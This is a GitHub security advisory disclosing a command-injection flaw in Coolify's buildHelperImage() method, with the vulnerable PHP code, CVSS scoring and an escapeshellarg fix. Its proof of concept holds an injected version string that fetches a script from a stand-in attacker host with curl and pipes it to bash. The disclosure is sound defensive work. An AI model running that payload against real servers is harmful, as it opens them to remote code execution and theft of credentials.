Skip to content

Command Injection via Unescaped Version String in Docker Build

Low
andrasbacsai published GHSA-x9qh-w4c4-54f9 Jul 2, 2026

Package

composer coollabsio/coolify (Composer)

Affected versions

<= 4.0.0-beta.473

Patched versions

4.0.0-beta.474

Description

Summary

The buildHelperImage() method in app/Livewire/Settings/Index.php constructs a Docker build command using user-controlled input ($this->dev_helper_version) without shell escaping. An attacker who can set the dev_helper_version field can inject arbitrary shell commands that execute on the server when the helper image build is triggered.

Details

In app/Livewire/Settings/Index.php:172-209:

public function buildHelperImage()
{
    try {
        if (! isDev()) {
            $this->dispatch('error', 'Building helper image is only available in development mode.');
            return;
        }
        // ...
        $version = $this->dev_helper_version ?: config('constants.coolify.helper_version');
        // ...
        $buildCommand = "docker build -t ghcr.io/coollabsio/coolify-helper:{$version} -f docker/coolify-helper/Dockerfile .";

        $activity = remote_process(
            command: [$buildCommand],
            server: $this->server,
            type: 'build-helper-image'
        );

The $version variable comes from $this->dev_helper_version which is a Livewire property set by user input. It is validated only as nullable|string|max:50 (line 38-39) but NOT escaped for shell metacharacters. The $buildCommand string is then passed to remote_process() which executes it on the server via SSH.

While there is an isDev() check, this function returns true in development environments, and the dev_helper_version field is stored in the database and can be set through the settings interface.

PoC

  1. Access the instance settings page as an authenticated user
  2. Set dev_helper_version to:
latest -f /dev/null; curl http://attacker.com/shell.sh | bash; echo "
  1. Click "Build Helper Image"
  2. The resulting command becomes:
docker build -t ghcr.io/coollabsio/coolify-helper:latest -f /dev/null; curl http://attacker.com/shell.sh | bash; echo " -f docker/coolify-helper/Dockerfile .
  1. The injected command executes on the server

Impact

An attacker can:

  • Execute arbitrary commands on the server
  • Gain reverse shell access
  • Exfiltrate sensitive data (environment variables, database credentials)
  • Pivot to other systems in the network

Remediation

  1. Use escapeshellarg($version) when interpolating into the shell command:
$buildCommand = "docker build -t ghcr.io/coollabsio/coolify-helper:".escapeshellarg($version)." -f docker/coolify-helper/Dockerfile .";
  1. Validate $version against a strict regex pattern (e.g., /^[a-zA-Z0-9._-]+$/)
  2. Consider removing the dev_helper_version field from production builds entirely

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
High
Privileges required
High
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L

CVE ID

CVE-2026-42148

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits